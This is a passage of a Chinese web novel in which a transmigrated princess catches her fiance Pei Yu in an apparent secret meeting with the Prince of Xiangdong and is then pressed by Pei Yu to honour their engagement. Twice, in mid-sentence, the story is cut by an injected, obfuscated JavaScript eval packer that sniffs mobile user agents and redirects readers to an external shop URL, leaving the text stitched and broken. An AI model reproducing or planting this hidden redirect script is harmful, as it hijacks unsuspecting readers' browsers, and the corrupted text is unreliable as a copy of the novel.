萧令瑜方才在闭目养神,感觉马车不动了之后,睁开了眼:这是到地方了? 很快马车外,卫征的声音传来:“殿下,现在到了山下的一家茶庐。茶庐外坐着的貌似是湘东王身边的侍从,马棚处则停着他们的马匹。” 萧令瑜:哈?这么凑巧吗?想找他的时候找不到,不想找的时候人就出现了? 绿芙闻言也露出些许的惊讶,伸手掀开了马车的窗帘。透过车窗,萧令瑜果真看到了茶庐外有几匹马停靠在马棚。其中一匹马装饰额外华丽,金玉鞍座,彩丝络头,马匹面部正中覆着当卢,上头镂刻着一个湘字。萧令瑜继续往旁边看,但见茶庐外的凉棚坐着的几人正是湘东王身边的侍卫。 这可真是...赶早不如赶巧... 萧令瑜想了下便说:“既然看到了,就碰个面吧。”咳...还是那句话...来都来了... 萧令瑜从马车上下来,抬腿往茶庐内走去。外头湘东王的侍从没想到会见到她,一下都站了起来。她没怎么看他们,随意摆了摆手,然后掀开茶庐的门帘走了进去。 “湘东王...真是好巧...”话刚说到一半,萧令瑜突然卡住了。 因为屋内坐着的不止湘东王一人,他的对面还有一人正在焚炉煮茶。此刻泥炉中火焰徐徐,茶壶上蒸腾的水汽渺渺。 是谁? 萧令瑜仔细看过去,接着眼眸不由得睁大了几分。 裴钰! 他怎么在这儿。湘东王要拉拢的人竟然是他?! 12. 歪打正着 茶,在大周朝备受推崇,不论是王公贵族还是平民百姓都以饮茶为好。自然,寻常百姓多是粗煮粗饮,图的是提神醒脑,而达官显贵用茶的礼仪则更为讲究繁琐。在豪门望族眼中茶道不仅仅是煮茶这么简单,而是一种超凡脱俗的艺术。煮茶煮的也不只是茶,更是一种心境。故而,炙茶、碾茶、过筛、煮水、投茶、待沸、调味、分饮,每一个步骤都要精细无比。 裴钰将烤好的茶饼放入茶碾之中,将其慢慢捣碎,接着用茶筛筛过,留下细腻的茶末。待到壶中水沸腾之际,将茶末投入,用茶匙搅了三搅,然后加了一勺青盐。等壶水再次鼎沸之时,用茶匙盛出分饮。一套动作做起来有条不紊行云流水。 “王爷,请。”他眉眼微垂,一手抚袖另一只手将茶杯稳稳置于湘东王面前。 湘东王拿起茶杯,轻轻吹了几吹,徐徐啜饮,然后道:“看来裴公子煮茶的手艺颇得裴中书令的真传。” 接着又抿了一口,语气中带着一丝怀念:“遥想当年,昭武皇帝带着诸多皇子去大福先寺参禅。在佛寺的凉亭之中,昭武皇帝和裴相煮茶论经。那时我有幸在一旁聆听,同父皇和裴相共饮一壶茶水。如今回忆起来,恍如隔世。” 裴钰抿了抿茶杯,然后道:“王爷谬赞了。” 湘东王又品了一口茶,感慨一声:“裴公子此般煮茶的手艺,皇妹可曾领教过?” 裴钰神情微顿,将茶杯缓缓放下,“那倒是不曾。” “哦?”湘东王眼中闪过一丝不解,缓缓摇了摇头,“真是可惜啊。” 裴钰淡淡开口回答:“现在不曾,但兴许以后能有机会同公主一起煮茶品茗。” “是吗?”湘东王做出恍然大悟的模样,笑了两下:“原是我记性不好,忘记皇妹与你有婚约在了。不过...说起婚约一事,我这个做哥哥的不免要问一句,你们二人打算何时纳采何时纳吉啊?” 裴钰垂眸,摩挲着手中的茶盏,沉默不语。 湘东王抬手将茶水一饮而尽,然后放下。裴钰看到后不急不慢的继续从茶壶中再次舀取茶汤为他添置。湘东王再次拿起茶杯,小口轻啄,似乎在细细品味茶汤中的苦涩与甘甜。过了许久,他突然开口:“其实皇妹不喜饮茶。” 裴钰问道:“王爷何出此言?” “皇妹自小就不爱喝茶。”湘东王缓缓说道:“当年父皇命人教她茶艺,她却说如此繁杂的工序最后却煮出难以下咽的茶汤,实在是劳而无功、得不偿失。”轻笑着摇了摇头,“那时父皇听了后哈哈大笑,说她还不曾体会到其中的门道。不过因她年幼,再加上已故仁德皇后的缘故,父皇便也纵容了。” 裴钰听完湘东王讲述的陈年旧事,突然开口道:“早几年前,公主殿下榻府上,与祖父探讨政事。事必,殿下亲自煮茶一壶,与祖父探讨茶道茶经,而我随侍一旁。那时看来,公主并不像不爱饮茶之人。” “裴郎,此言差矣。”湘东王反驳他说:“擅茶道之人不见得好饮茶。”他见裴钰又陷入了沉默,接着又说:“本王今日前来,其实是从外头听到了些许的传言,想请你解惑。” 裴钰抬眸询问:“王爷所说的是什么传言?” 湘东王也不绕弯子了,干脆了当的回答:“传言说皇妹有意悔婚,改嫁京兆韦氏。”紧紧的盯着裴钰,试探道:“若是当真如此,裴郎以为如何?” 裴钰轻笑一声,“王爷也说了是传言。自从公主受先帝遗命参与朝政开始,市井之中关于公主的流言蜚语从未停歇。” 湘东王:“原本我也不信,虽然皇妹早早与你定下婚约,但因裴相驾鹤仙去,你要为祖父守孝,故而耽搁了。但现在你已出孝,按理说你们二人也该到谈婚论嫁的时候,可我却见两府之间毫无走动,不免心中揣测。此时又听到皇妹与韦家人的传言,如何不过问一二?” “韦氏......”湘东王接着冷哼一声,眉眼间尽是对韦家的轻蔑,“韦氏一族不过以裙带见长。且若不是以家中堂弟攀附上了皇妹,韦庭忠他何德何能做得了中书令呢?”接着长长的叹了一口气,感慨:“裴相入土才不过一载有余...唉...” 提到已经过世了的祖父,裴钰的脸色慢慢变的严肃起来。 湘东王重重说道:“我实在不愿看到大殿之中有此等小人作祟,唯恐其将来危害朝堂。可以我一人之力想要清扫朝堂积弊实属难如登天,如此还请裴郎助我。” 裴钰沉声回答:“王爷言重了。便是王爷有雄心壮志,但下官只不过是个太仆寺少卿,位卑言轻,怕于王爷并无助力。” “裴少卿未免太看轻自己了。”湘东王不赞同的说:“裴氏一族、裴氏所荐门生,在我眼中胜过朝中庸碌百倍。譬如裴郎的叔父潞州刺史,若是能将他调回洛京,担任朝廷要员,你我二人又何尝不能成事呢?” “这...”裴钰沉吟片刻,缓缓开口。不过这时外面突然传来几声响动,打断了他的话。 湘东王没有得到准确答复,心中有些焦急,沉声道:“裴郎放心,外面有我的侍从在,想必无人敢闯。”结果下一秒,他脸上的笑容僵在了脸上。在他惊讶的视线里,萧令瑜掀开了门帘,大步走了进来。 方才还说了大话,结果惨遭打脸的湘东王:...... 看清里面谁在的萧令瑜:??? 没有料到此番场景会被撞见的裴钰:!!! 刚刚还热闹的茶庐因为萧令瑜的到来一下变得死寂沉沉。安静,成了茶炉现在的的主题。众人相互对视着,场面一度变得十分尴尬。 萧令瑜的视线从湘东王身上和裴钰身上来回扫视,头脑之中快速展开风暴:这是什么情况,两人在干嘛?密谋?在茶庐密谋?哇塞,你们不觉得这地方属实有些光明正大了吗?是不是有点太嚣张了。 更重要的是,这俩为什么会搞在一起?不是,之前是谁来公主府告诉她湘东王有异动来着,是裴钰吧。结果才过去多久啊,这两人竟然面对面地坐在一起饮茶了,而且二人之间的氛围看起来还很和谐。 这科学吗?符合逻辑吗?难不成你裴钰,裴太仆寺少卿,被人给穿了? 在一片静谧之中,裴钰率先站起来行礼:“见过殿下。”随着裴钰的动作,屋内的空气缓缓流通起来,方才的窘境逐渐缓解。 萧令瑜回过神来,“不必多礼。”走过去落座后看向湘东王道:“湘东王怎么会在这?莫不是你同裴少卿相约在此饮茶?” 湘东王的神情也已平缓,回答说:“倒也不是。今日本想去翠云峰上道观游览一番,但路过此处时略感口渴,进来讨口水喝。不想恰好遇到裴郎在,于是和他聊了聊天。” 萧令瑜:裴...郎?这称呼是不是有点过于亲密了?另外,什么恰好啊、偶遇啊,这种借口,你猜我信不信?说出来搞笑呢? 湘东王转而笑问:“皇妹怎么会来这?” 萧令瑜十分坦然:“原想着去附近的枫林赏秋,路过此处时恰好看到四哥的侍从在,所以想着进来和四哥打个招呼。”哎?你说巧不巧?正好撞见你俩搁这密谈!这巧合的都想让萧令瑜念两句诗:众里寻他千百度,暮然回首,那人却在,灯火阑珊处。 湘东王听她这么说,面上虽然在笑着,可心中却不免冷哼一声,诸多猜测如滚水般翻涌:这世间当真有如此凑巧之事吗?他近来行踪可谓飘忽不定,前脚放出风去,后脚就更改目的地。今日也是,为了此番洽谈,进山之后他绕了许久山路才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585440|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到这翠云峰山下。但没想到才过了片刻,就这么轻轻松松地被找到了。 为什么? 难道他身边有细作吗?或者有人被收买了?按理来说不应该的。但不管怎样,回去后要再将身边的侍从重新清查一遍。 或者还有另外一种解释,那就是他的目的被人看穿了。会吗?如果确实如此,那么意味着曾经那个脾气骄直的小妹在经历了三王叛乱之后,已经变得深不可测。这对他来说可不是一件好事。 当然,还有别的可能,比如眼前的两人联手给他做了局。又许是裴钰不愿意倒戈,偷偷命人传了信。 想着想着,湘东王的眼眸逐渐幽深起来。 萧令瑜很纳闷这俩刚刚聊了些什么,不过问湘东王肯定问不出,干脆询问裴钰:“方才同湘东王在聊些什么?” “没什么,只是同湘东王殿下探讨了了一番茶道。”裴钰回答,轻声道:“殿下可要饮茶?” 萧令瑜刚要开口,湘东王就打断了她的话说:“我记得皇妹是素来不爱饮茶的。” 萧令瑜:......好像是。 不过话说回来了,就大周的茶,别说公主不爱喝,她也不爱喝。因为在大周朝,茶的烹调方式跟现代的大不一样。大周朝最近几年煮茶的风向还好些,只往茶汤里加盐。但之前可不止加盐这么一种东西,还会往茶汤里加乱七八糟的作料,什么生姜丝、花椒叶。 这样稀里糊涂的一壶茶,堪比女巫的魔药,能好喝那就见了鬼了。 萧令瑜:“是不怎么爱喝。不过大家都在饮茶,只我一个特立独行,是不是过于突兀了。”而且就算我不喜欢也不能让我在茶桌上空着手吧。有没有点礼貌啊! “此家茶庐只有茶水,并无其他,还请殿下勿怪。”裴钰说着命人取新的茶壶来,待到水沸之后重新煎茶,之后分与萧令瑜和湘东王饮用。 萧令瑜拿起茶杯徐徐吹了吹,略微抿了一小口就放下了:嗯,虽然只放盐,但味道依旧不咋地。 裴钰看她放下了茶杯,询问道:“王爷所说果然没错,殿下果真不喜饮茶。那殿下素日喜欢饮些什么呢?” “怎么,”萧令瑜反问他说:“你很关心我的喜好吗?”你要是真一心向着我,今天能跟湘东王眉来眼去的? 裴钰垂眸一笑,“自然是关心的。” 萧令瑜也跟着笑了,冲门口站着的绿芙道:“绿芙,稍后取些秋菊来交于裴少卿。”转头对裴钰说:“最近闲来无事,叫人晒了些绒菊,加蜂蜜煮了饮用,别有一番滋味。” 裴钰笑道:“多谢殿下。” 萧令瑜嗯了一声,继续喝茶,因为不好喝,再加上水烫,所以一次只抿一小口。结果等到她把一小杯茶都喝完,另外两个人都没开口说话。萧令瑜轻笑一声,看向湘东王:“貌似是我来的不巧了。我一来,你们就都不说话了。” 裴钰十分淡然的开口:“本就在谈论茶道而已,殿下来前说的都差不多了。” 萧令瑜挑眉:“是这样吗?” “是啊。”湘东王颔首回答,看向裴钰:“裴郎觉得方才我所说的煎茶之法如何?” 裴钰:“王爷的茶道远在下官之上,下官自愧不如,不敢与王爷相较。” 湘东王:...... 萧令瑜:拒绝的含义好明显啊,这是裴钰在冲她表忠心?啊,好刻意好做作的话术啊! 湘东王扫视了两人一番,接着呵了一声,站起身来道:“茶也喝过了,我也该走了。皇妹和裴少卿请便。”说罢一甩手离开了这里。 等他走后,萧令瑜立马眯起眼审视起裴钰来:看在刚刚你赤裸裸表忠心的份上给你一个机会,解释一下吧,今天是怎么个事?! 13. 如此逼婚 湘东王离开之后,裴钰冲茶庐的小厮抬手示意,很快案桌上的茶具都被收拾一空。萧令瑜坐在他对面,和裴钰一时间相顾无言。过了一会儿后,她率先询问道:“裴少卿没什么话要说吗?” 麻溜的,坦白从宽,抗拒从严。 裴钰沉吟了片刻,缓缓开口:“离此三里开外是裴氏的茔园。这些时日,下官祭奠家中先辈,清扫过墓地之后便会来此小坐片刻饮一壶茶水。”顿了顿继续说道:“其实此处茶庐乃是裴氏的私业,是当年祖父命人所建,供游览邙山的学子游客歇脚之用。” 萧令瑜:“这么说来,你与湘东王并非提前相约,而是他主动来此找的你?” “于我而言正是如此,至于湘东王为何来此......”裴钰摇了摇头,不再多言。 瞧这话说的哦,把事情推得可真是一干二净。萧令瑜不禁挑眉问他:“方才你们二人当真是在煮茶论道吗?” 裴钰正襟危坐没有正面回答而是反问道:“殿下以为呢?” 萧令瑜轻笑一声,“我倒是愿意相信自己的疑心与猜测都是多虑。” 裴钰神色坦然地回答:“其实事情正如殿下所思所想。” “是么。”萧令瑜轻耸了耸肩头,“那裴少卿的心思,也恰如我所猜想的那般吗?” 裴钰沉默了片刻,之后长长地叹了一口气,紧接着看向萧令瑜,问了个风马牛不相及的问题:“在下斗胆询问,在殿下眼里,裴钰究竟是何许人也?” 萧令瑜不知道他为什么会这么问,在心里默默回答:还能是什么人,出身世家的公子,同时也是公主的便宜未婚夫。 见萧令瑜没有说话,裴钰脸上浅淡的笑容逐渐消失,眸色不由得加深:“方才湘东王提起一事,在下颇为在意,烦劳殿下为我解惑。” 萧令瑜蹙起眉头:“什么事?” 裴钰:“听闻上巳节时,殿下同韦氏族人一同在洛水河畔春游,可有其事?” 萧令瑜回想了下,确实是有这么一件事。三月三日上巳节,无论王公贵族还是寻常百姓,都会外出踏青,游览洛水。这洛水两畔适合皇亲国戚游览的地方总共就那么几处,中间和王公贵族相遇实在是再正常不过了。 她点了点头回答:“不错。” 裴钰抿了抿唇,唇线绷紧,继续问道:“那殿下同韦中书令的远房堂弟韦庭允相谈甚欢一见如故也是真的了?” 谁?韦庭允?萧令瑜一时间满头的雾水。 她快速过了下脑子,貌似是有这么个人,春游时碰到过一次,皇帝诞辰那日家宴上也碰上过一次。但是相谈甚欢一见如故这样的描述是不是有些太过了。顶多是在韦中书令的介绍下,她和对方说过几句话而已。 想到这里,萧令瑜回答道:“韦家乃是陛下母家,我作为陛下的姑母遇见韦家人难道要对他们怒目而视吗?”再说了,你巴巴地说这些干什么,略带不耐烦地问:“裴少卿,你所问的这些跟今日之事有什么联系?” 在她的质问下,裴钰不急不缓的开口:“据湘东王所言,殿下有意悔婚,转而同韦家结秦晋之好。” 萧令瑜的大脑一下炸了:诽谤啊,我要告湘东王诽谤!压根就没有这档子事!下一秒她眯起了眼睛:“子虚乌有的传言,你会信?” 裴钰:“殿下近些时日对在下多有躲避,婚约之事更是一拖再拖不愿提及。种种迹象之下,在下的确是起了几分疑心。所以...” 他抬起眼来,直直的看向萧令瑜:“我不禁在心中猜想,在殿下眼里,我裴钰究竟是什么样的人?裴氏在殿下心中,又是什么份量。” 说实话,被人问到脸面上,萧令瑜属实有点心虚。因为面对这场婚事,她是想躲想拖来着。但是,她却可以理直气壮的回答他:“不管是订婚之初还是今年上巳节之时,大周朝的大长公主从未想过另嫁他人。” 咳,那个时候她还没穿过来呢。另外,成婚之后公主想要干什么,那你也别问,反正公主是很想嫁给你来着。 裴钰言语直接,步步紧逼:“那殿下先前的行径又作何解释?” 萧令瑜一时间语塞,不过很快找了个冠冕堂皇的理由:“因为在本宫眼中,天下太平朝堂稳定比起儿女私情更为重要。” 裴钰丝毫没有被含糊过去,反而回答:“在下斗胆,殿下所言颇有搪塞之意。只说满朝文武皆是经历过三王叛乱之人,怎会轻易与湘东王互相勾结。湘东王之于殿下,便如零星的火点与日月之光相较。殿下当真如此忌惮湘东王吗?” 萧令瑜:其实吧,之前我是挺忌惮来着,也就这几天才调整好心态。但这话说出来你肯定不信。害! 裴钰自嘲般的轻笑一声:“在下三岁启蒙,五岁起学习君子六艺,十八岁踏入仕途,二十五岁升迁太仆寺少卿。但在殿下眼里,裴氏的公子还不如依仗裙带的外戚子弟。” 他一字一顿的道:“殿下,您究竟要至在下余何地呢?” 说到后面,他脸上隐隐有些怒意:“在下不愿堕了裴氏的风骨与门楣。若是殿下当真有意悔婚,还请赐我一杯毒酒亦或是一把匕首。” 萧令瑜被他嘚吧嘚吧的一席话给怼懵了。不是吧,这怎么还以死相逼上了?至于吗?啊? 但很快她也生出了一股无名的火气。 你也就仗着我不是公主本人才能在这里大放厥词。要是公主本人在的话,肯定会在心里冷笑一声:虽然林子大了什么鸟都有,但是没见过这么着急上赶着送死的! 过了好一会,裴钰率先缓和了语气,拱手行礼:“方才言辞激烈,但却是臣肺腑之言,还请殿下勿怪。” 虽然对方低了头递上了台阶,但萧令瑜依旧气的想打人。她吸气吐气了半响,咬着牙问道:“为了风骨门楣四字,你当真宁愿一死?”而不是转而投靠湘东王? 裴钰沉声道:“是。” 纵使对方回答的如此干脆,但萧令瑜却并不能确信。她在心中迅速权衡利弊了一下:不管成不成婚,她依旧是大周的大长公主。因此嫁不嫁人,于她而言没什么差别!眯起眼睛,将裴钰从头到尾的打量了一遍:论男色,也不见得吃亏。 那还有什么好说的,不就是嫁人么!增加一个盟友总比把人往湘东王那边推强。 既如此,那就没有僵持下去的必要了。 萧令瑜慢慢笑了起来,顺着台阶下了,轻声道:“谈婚论嫁乃是喜事,怎么说着说着剑拔弩张起来了。但我今日所说句句属实,裴...郎...不必将某人所说的流言蜚语放在心上。” 裴钰:“是臣失态了。” 萧令瑜稍加思索,为了再一次拉近距离主动提议:“虽然裴相的神位在太庙之中接受供奉,但今时今日距裴相的茔冢如此之近,合该给裴相上柱香的。” 裴钰听她这么说,神情也是缓和起来,推辞说:“裴氏身为人臣,不敢让殿下亲自上香。” “也罢。”萧令瑜抬眸看向绿芙开口吩咐:“着人备下香案,明日置于裴相坟前,替我代为祭奠。”说完后,继续扬起笑容,将善意发送出去,看向裴钰说:“裴郎再为我煮一壶茶,可好?” 裴钰颔首:“荣幸至极。” 很快新的茶具送了上来,裴钰一如方才那般煎茶,动作赏心悦目。只不过在一片安宁的氛围之中,萧令瑜却总觉得今天发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589001|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的事情着实有几分古怪,但一时间又说不上来。 不多时茶汤煮好,一杯新茶送至萧令瑜面前。她捧着茶汤徐徐啜饮,边喝边思索,直到一杯茶喝完,她放下茶杯道:“时候也不早了,我也不打扰了。” 裴钰起身相送,“臣送殿下。” 萧令瑜往门外走去,只不过在踏出茶庐前转头看向他道:“裴钰。” “臣在。” “如果今日我不曾撞见你与湘东王在此洽谈。”萧令瑜似笑非笑的看着他,“那这件事,你打算什么时候让我知道呢?” 裴钰似乎没想到她会这么直截了当的询问,神情微顿。良久后回答说:“不出十日。” 好,好的很啊。 萧令瑜忍不住笑了,笑的咬牙切齿。 就说她遗漏了什么,堂堂世家的公子,又不是什么山野谋士,扫墓过后不回自家别业,而是来三里开外的茶庐内喝茶,不觉得这种行为十分怪异吗? 但听见裴钰的回答,一切就说得通了。裴钰是故意来这里的,他故意泄露自己的行踪等着湘东王来找。之后他再将湘东王有意拉拢的事情告诉她,逼迫她正视俩人的婚约。 呵,好一个诡计多端的恨嫁男! 萧令瑜强压着心头的怒火,一字一顿的道:“裴钰,你真应该感谢我。” 裴钰当即拱手行礼:“臣不及殿下聪慧,臣时刻感念殿下宽容大度。” 萧令瑜:不,你应该感谢我不是公主本尊,骨子里依旧遵纪守法尊重生命。要不然我真会一边说着大郎该喝药了,一边拿毒药往你嘴里灌! 坐在马车上,萧令瑜长长的呼出一口气。经过这么一出,她也没那个心情去看枫叶了,直接命人打道回府。 今日发生的事绿芙可谓是从头看到尾,瞧见自家殿下不快的脸色,眼尾微眯低声道:“殿下......” 萧令瑜抬手示意绿芙不必多言。压根不用动脑子她就已经知道绿芙想说什么了。无非是替她打抱不平,怒骂裴钰胆大包天耍阴谋诡计,再有就是建议她按照原计划行事,成婚之后用毒药毒死裴钰一了百了。 可是这件事之前她不想做,现在更是不能做。 因为不想接公主未婚夫的盘,也不想毒杀别人,所以她才拖着婚事不开口的。目的也很简单,就是想让裴钰自己知难而退。若是到裴钰愿意自愿解除婚约,那么她给予对方一些政治补偿,这样皆大欢喜。但现在明显是拖不了了。因为裴钰将这场婚事当成了世家的傲骨,还反过来相逼。 想到这里,萧令瑜被人做局的怒火蹭蹭往上冒。但是没办法,因为她现在是公主!她既然得到了公主的权力,就要接纳公主的义务。 这很公平。 虽然公主和裴钰的婚事是政治联姻,但裴家当初的确是和公主站在了一起。如果这个时候她开口退婚,那就成了公主不讲道义卸磨杀驴了。这绝对是个严重的政治污点。毕竟谁会跟随一个有事钟无艳,无事夏迎春的人呢? 所以这婚必须结! 那成婚后要不要杀裴钰呢?这也已经不是萧令瑜想不想的事了,而是能不能。显而易见,不能。为啥?因为湘东王和裴钰接触了。要是裴钰莫名其妙的死了,那湘东王一定会拿这件事大做文章。 想到这里,萧令瑜沉沉的闭上了眼。 如果事情不能改变,那就只能接受。既然要接受,那就不要抱怨。她在心里安慰自己说:这场婚事不亏,就当是给她道德的护城河增砖添瓦了。 不过... 裴钰这人实在是有些智极近妖。她是拿在手里怕扎着,可放在外头又不放心啊。 唉!